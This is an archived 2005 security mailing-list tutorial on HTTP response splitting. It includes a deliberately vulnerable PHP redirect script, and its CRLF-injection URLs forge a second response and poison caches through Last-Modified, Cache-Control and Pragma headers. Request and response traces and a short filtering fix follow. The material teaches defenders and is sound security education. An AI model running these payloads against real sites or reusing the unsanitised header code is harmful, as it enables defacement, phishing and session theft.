[REVS] Introduction to HTTP Response Splitting
From: SecuriTeam (support_at_securiteam.com)
Date: 04/19/05
- Previous message: SecuriTeam: "[NEWS] WebSphere Widespread's JSP Configuration Disclosure"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 19 Apr 2005 15:12:41 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Introduction to HTTP Response Splitting
------------------------------------------------------------------------
SUMMARY
The essence of HTTP Response Splitting is an attacker's ability to send a
single HTTP request that forces the web server to form an output stream,
which is then interpreted by the target as two HTTP responses instead of
one response. This type of vulnerability can be exploited to perform
several web application based attacks.
DETAILS
HTTP response splitting is a fairly new web application vulnerability. It
can be used for the following purposes.
Cross site scripting (XSS): This is a very common and old form of
vulnerability where it allows the user execution of HTML or Java script
code which can then lead to the hijacking of the user's cookie or session.
They even allow JavaScript code execution and maybe used to exploit other
vulnerabilities in browsers with more anonymity.
Cross user defacement: This is a form of temporary defacement where the
website, may looked defaced to a particular user. This is used in cases of
information, id, or password theft. This enables an attacker to make the
website look defaced to a particular single user, thus allowing the
attacker to steal session data, cookies. It also allows the attacker to
steal login information by forging a fake login screen for the website,
thus allowing account compromise.
Web cache poisoning: In this form a rather larger defacement takes place
where a cache is poisoned which is used by multiple users, thus making
them think the site has been defaced, or that the site they are seeing is
the genuine site when its not. In this case the attacker uses a proxy
server etc and calls the vulnerable page using it to fool the cache into
caching the second server response over which the attacker as complete
control thus making the website defaced for anyone who uses or shares that
cache server or proxy server. Uses for such an attack would vary vastly,
some being: Defacement as it causes everyone who uses that cache or proxy
to see the website as defaced. The second being phising, in which by
showing a false page loaded by the attacker we can cause many users to
give up private credit card numbers, user names, passwords and other
confidential information.
Hijacking pages: This allows user access to sensitive information, which
might be confidential or not normally accessible to the user. With this
the attacker can receive the servers response to the client allowing
sensitive data from the server to the client to be stolen by the attacker.
Browser cache poisoning: This attack is similar to XSS, the only
difference being that the attacker forces the browser to cache the web
page thus forming a long lasting defacement till the browser's cache has
been cleared or cleaned.
These kind of attacks are generally carried out in web applications by
injecting malicious or unexpected characters in user input which is then
used for a 302 Redirect, in the Location or Set-Cookie header. So in the
case of web applications, a code generally such as "\r\n" is injected in
one of its many encoded forms. Though this vulnerability is mainly present
in web applications it is not limited to them and can be exploited with
similar methods over different protocols, as long as user input is present
in headers, and there is no validation for all illegal characters. This
paper is going to focus on the usage of HTTP response splitting
vulnerabilities in the case of web applications. This type of
vulnerability being fairly new, it is found in many large corporate
websites, some of which might surprise you, most of them still exist.
This kind of attack is mainly possible due to the lack of validation of
user input, for characters such as, CR and LF.
CR = %0d = \r
LF = %0a = \n
How it works?
To first understand how these vulnerabilities work, let us first
understand how a normal response to a 302 redirection would be like.
Lets consider a normal redirect script as so,
<?php
header ("Location: " . $_GET['page']);
?>
Therefore, a request like:
http://icis.digitalparadox.org/~dcrab/redirect.php?page=http://www.digitalparadox.org would redirect a user to http://www.digitalparadox.org. Let us take a look under the hood at the headers,
User -to Server Get request:
GET /~dcrab/redirect.php?page=http://www.digitalparadox.org HTTP/1.1\r\n
Host: icis.digitalparadox.org\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050317 Firefox/1.0.2\r\n
Accept: text/xml,application/xml,application/xhtml
xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
\r\n
Server to User 302 response:
HTTP/1.1 302 Found\r\n
Date: Tue, 12 Apr 2005 21:00:28 GMT\r\n
Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c\r\n
Location: http://www.digitalparadox.org\r\n
[User input in headers]
Keep-Alive: timeout=15, max=100\r\n
Connection: Keep-Alive\r\n
Transfer-Encoding: chunked\r\n
Content-Type: text/html\r\n
\r\n
User to Server Get request for redirected page:
GET / HTTP/1.1
Host: www.digitalparadox.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050317 Firefox/1.0.2
Accept: text/xml,application/xml,application/xhtml
xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Now the server will respond with a normal 200 Found response and then the
user will see the web page www.digitalparadox.org. As you may have also
noticed each new line in the HTTP protocol is shown with a \r\n or CR and
LF. Thus it is obvious, that by injecting false \r\n or CR and LF values
in the user input followed by a false HTTP Request we can make arbitrary
content of our choice show up on the users browser, or cause Cross user
defacement, Cache poisoning, Hijack a page, or cause browser cache
poisoning. So by now you must have understood how a basic HTTP Response
Splitting vulnerability works, and got the overview of what we basically
have to do to exploit these vulnerabilities correctly.
So now using such a vulnerability as shown above to our advantage would be
done something as follows. We use the %0d%0a characters to poison the
header so as to attain a temporary state of defacement.
Thus injecting something like:
http://icis.digitalparadox.org/~dcrab/redirect.php?page=%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont color=red%3Ehey%3C/font%3E%3C/html%3E
Injected Data: %0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200
OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont
color=red%3Ehey%3C/font%3E%3C/html%3E
Which can also be written as:
\r\n
Content-Type: text/html\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
\r\n
<html><font color=red> hey</font></html>
If the user follows the link, the HTTP request will look like:
GET /~dcrab/redirect.php?page=%0d%0aContent-Type: text/html%0d%0aHTTP/1.1
200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont
color=red%3Ehey%3C/font%3E%3C/html%3E HTTP/1.1\r\n
Host: icis.digitalparadox.org\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050317 Firefox/1.0.2\r\n
Accept: text/xml,application/xml,application/xhtml
xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
\r\n
Server to User 302 Found Response:
HTTP/1.1 302 Found [First standard 302
response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c
Location:
Content-Type: text/html
HTTP/1.1 200 OK [Second New response
created by attacker begins]
Content-Type: text/html
<html><font color=red>hey</font></html> [Arbitary input by
user is shown as the redirected page]
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
0
As we can see in the exploitation process above, the server runs the
normal 302 response, the arbitrary input we gave in the location header
causes it to start a new 200 OK response which shows our inputted data to
the user as a normal web server response, Thus we have carried out a Cross
Site Scripting exploitation of the Html Splitting vulnerability.
Cache poisoning: To make the cache server, cache our request we must add
some new headers. The Last-Modified header in the HTTP response will cause
most cache servers to cache the web site, thus allowing our poisoned
website to appear in the cache, as long as the Last-modified header is
sent with a date ahead of the current date. Sending of the Cache-Control:
no-cache and/or Pragma: no-cache requests will cause non cached websites
to be added to the cache.
Some example versions of the cache poisoning exploits for the above
vulnerable example are,
Last-Modified example:
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:
text/html%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aLast-Modified: Wed, 13 Jan 2006
12:44:23 GMT%0d%0aContent-Type: text/html%0d%0a%0d%0a<html><font
color=red>hey</font></html> HTTP/1.1
Cache-Control example:
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:
text/html%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aCache-Control:
no-cache%0d%0aContent-Type: text/html%0d%0a%0d%0a<html><font
color=red>hey</font></html> HTTP/1.1
Pragma example:
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:
text/html%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aPragma:
no-cache%0d%0aContent-Type: text/html%0d%0a%0d%0a<html><font
color=red>hey</font></html> HTTP/1.1
Solution:
To avoid such HTTP Splitting vulnerabilities parse all user input for CR
LF \r\n %0d%0a or any other forms of encoding these or other such
malicious characters before using them in any form of HTTP headers. These
vulnerabilities can be used to fool their clients and steal authentication
information.
ADDITIONAL INFORMATION
The information has been provided by <mailto:dcrab@hackerscenter.com>
dcrab.
The original article can be found at:
<http://www.digitalparadox.org/http_response_splitting.pdf>
http://www.digitalparadox.org/http_response_splitting.pdf
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NEWS] WebSphere Widespread's JSP Configuration Disclosure"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
